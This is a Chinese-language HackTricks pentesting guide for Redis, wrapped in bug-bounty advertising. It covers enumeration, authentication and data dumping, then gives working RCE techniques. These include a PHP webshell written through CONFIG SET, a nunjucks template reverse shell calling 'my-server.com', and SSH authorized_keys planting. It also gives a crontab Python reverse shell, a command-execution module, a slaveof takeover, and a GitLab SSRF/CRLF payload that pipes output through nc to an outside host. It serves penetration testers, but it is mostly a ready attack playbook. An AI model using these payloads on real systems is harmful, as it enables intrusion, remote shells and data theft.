18 KiB
6379 - Redis渗透测试
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
HackenProof是所有加密漏洞赏金的家园。
无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
成为web3黑客传奇
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。
在HackenProof上注册开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
基本信息
Redis是一个开源(BSD许可证)的内存数据结构存储,用作数据库、缓存和消息代理(来自这里)。默认情况下,Redis使用基于纯文本的协议,但您必须记住它也可以实现ssl/tls。了解如何在此处使用ssl/tls运行Redis。
默认端口: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
自动枚举
一些自动化工具可以帮助获取 Redis 实例的信息:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
手动枚举
横幅
Redis是一种基于文本的协议,您只需在套接字中发送命令,返回的值将可读。还要记住,Redis可以使用ssl/tls运行(但这非常奇怪)。
在常规的Redis实例中,您可以使用nc
进行连接,也可以使用redis-cli
:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
你可以尝试的第一个命令是**info
**。它可能返回Redis实例的信息输出,或者返回类似以下内容:
-NOAUTH Authentication required.
在这种情况下,这意味着您需要有效的凭据才能访问Redis实例。
Redis身份验证
默认情况下,可以无需凭据访问Redis。但是,可以进行配置以仅支持密码或用户名+密码。
可以在_redis.conf文件中使用参数requirepass
设置密码,**或者在服务重新启动连接到Redis并运行config set requirepass p@ss$12E45
**时临时设置密码。
此外,可以在redis.conf_文件中的参数masteruser
中配置用户名。
{% hint style="info" %}
如果仅配置了密码,则使用的用户名是“default”。
此外,请注意,无法从外部找到Redis是否仅配置了密码或用户名+密码。
{% endhint %}
在这种情况下,您将需要找到有效的凭据才能与Redis进行交互,因此可以尝试暴力破解。
如果找到有效的凭据,请在建立连接后使用命令进行身份验证:
AUTH <username> <password>
有效的凭证将会得到以下回应:+OK
已认证的枚举
如果Redis实例接受匿名连接或者你找到了一些有效的凭证,你可以使用以下命令开始对服务进行枚举:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
其他Redis命令可以在这里和这里找到。
请注意,Redis实例的命令可以在redis.conf文件中被重命名或删除。例如,以下行将删除FLUSHDB命令:
rename-command FLUSHDB ""
更多关于安全配置Redis服务的信息请参考:https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
您还可以使用命令**monitor
实时监控执行的Redis命令,或者使用slowlog get 25
**获取前25个最慢的查询命令。
在这里可以找到更多有关Redis命令的有趣信息:https://lzone.de/cheat-sheet/Redis
数据库转储
在Redis中,数据库是从0开始的数字。您可以通过命令info
的输出中的"Keyspace"块来查找是否有任何数据库正在使用:
或者您可以使用以下命令获取所有的keyspaces(数据库):
INFO keyspace
在这个例子中,正在使用数据库0和1。数据库0包含4个键,数据库1包含1个键。默认情况下,Redis将使用数据库0。为了导出例如数据库1,您需要执行以下操作:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
如果在运行GET <KEY>
时出现-WRONGTYPE操作针对保存错误类型值的键
的错误,这是因为键可能不是字符串或整数,需要使用特殊操作符来显示它。
要了解键的类型,请使用TYPE
命令,以下是列表和哈希键的示例。
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
使用npm redis-dump 或python redis-utils 来转储数据库。
HackenProof 是所有加密货币漏洞赏金的家园。
即时获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网!在其兴起的时代掌握web3安全。
成为web3黑客传奇
每次验证的漏洞都会获得声望积分,并登上每周排行榜的榜首。
在HackenProof上注册 开始从您的黑客攻击中赚取收入!
{% embed url="https://hackenproof.com/register" %}
Redis RCE
交互式Shell
redis-rogue-server 可以自动在Redis(<=5.0.5)中获取交互式Shell或反向Shell。
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
来自这里的信息。您必须知道网站文件夹的路径:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
如果Webshell访问异常,您可以在备份后清空数据库,然后再次尝试,记得恢复数据库。
模板Webshell
与前一节类似,您还可以覆盖一些将由模板引擎解释的HTML模板文件,并获得一个Shell。
例如,根据这篇文章,您可以看到攻击者在一个由nunjucks模板引擎解释的HTML中注入了一个反向Shell:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
{% hint style="warning" %} 请注意,多个模板引擎会将模板缓存在内存中,因此即使您覆盖它们,新的模板也不会被执行。在这种情况下,要么开发人员保留了自动重新加载功能,要么您需要对服务进行拒绝服务攻击(DoS),并期望它会自动重新启动。 {% endhint %}
SSH
请注意,在执行其他手动利用命令之后,config get dir
的结果可能会发生变化。建议在登录到 Redis 后立即运行此命令。在 config get dir
的输出中,您可以找到 redis 用户的主目录(通常为 /var/lib/redis 或 /home/redis/.ssh),通过这个信息,您就知道可以在哪里写入 authenticated_users
文件以通过 ssh 使用 redis 用户登录。如果您知道其他有效用户的主目录,并且您具有可写权限,您也可以滥用它:
- 在您的计算机上生成一个 ssh 公私钥对:
ssh-keygen -t rsa
- 将公钥写入文件:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- 将文件导入到 Redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
- 将公钥保存到 Redis 服务器上的 authorized_keys 文件中:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- 最后,您可以使用私钥 ssh 到 redis 服务器:ssh -i id_rsa redis@10.85.0.52
此技术在此处自动化:https://github.com/Avinash-acid/Redis-Server-Exploit
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
最后一个例子是针对Ubuntu的,对于Centos,上述命令应为:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
这种方法也可以用来挖比特币:yam
加载Redis模块
- 按照https://github.com/n0b0dyCN/RedisModules-ExecuteCommand的说明,你可以编译一个Redis模块来执行任意命令。
- 然后你需要一种方式来上传编译好的模块。
- 使用
MODULE LOAD /path/to/mymodule.so
在运行时加载上传的模块。 - 使用
MODULE LIST
列出已加载的模块,以检查是否正确加载。 - 执行命令:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- 随时卸载模块:
MODULE UNLOAD mymodule
LUA沙盒绕过
在这里你可以看到Redis使用命令EVAL来执行沙盒化的Lua代码。在链接的帖子中,你可以看到如何使用dofile函数来滥用它,但是显然这已经不再可能。无论如何,如果你能绕过Lua沙盒,你就可以在系统上执行任意命令。此外,从同一篇帖子中,你可以看到一些导致DoS的选项。
一些用于绕过LUA的CVE:
主从模块
主Redis的所有操作会自动同步到从Redis,这意味着我们可以将有漏洞的Redis视为从Redis,连接到我们自己控制的主Redis,然后我们可以向自己的Redis输入命令。
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF与Redis通信
如果你可以发送明文请求到Redis,你可以与它进行通信,因为Redis会逐行读取请求,并对它不理解的行返回错误响应:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
因此,如果您在一个网站中发现了一个SSRF漏洞,并且您可以控制一些头部(可能是通过CRLF漏洞)或POST参数,那么您将能够向Redis发送任意命令。
示例:Gitlab SSRF + CRLF到Shell
在Gitlab11.4.7中发现了一个SSRF漏洞和一个CRLF漏洞。当创建一个新项目时,SSRF漏洞存在于从URL导入项目的功能中,允许访问任意IP,形式为[0:0:0:0:0:ffff:127.0.0.1](这将访问127.0.0.1),而CRLF漏洞则是通过在URL中添加%0D%0A字符来利用。
因此,可以滥用这些漏洞与管理gitlab队列的Redis实例进行通信,并滥用这些队列来获取代码执行。Redis队列滥用的有效载荷为:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
而滥用SSRF和CRLF执行whoami
命令,并通过nc
发送输出的URL编码请求是:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
由于某种原因(如来源于https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/的作者所述),利用只适用于git
协议而不适用于http
协议。
HackenProof是所有加密漏洞赏金的家园。
即时获得奖励
只有在客户存入奖励预算后,HackenProof才会启动赏金。在漏洞验证后,您将获得奖励。
在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网!在其兴起之时掌握web3安全。
成为web3黑客传奇
每次验证的漏洞都会增加声誉积分,征服每周排行榜的顶端。
在HackenProof上注册并从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。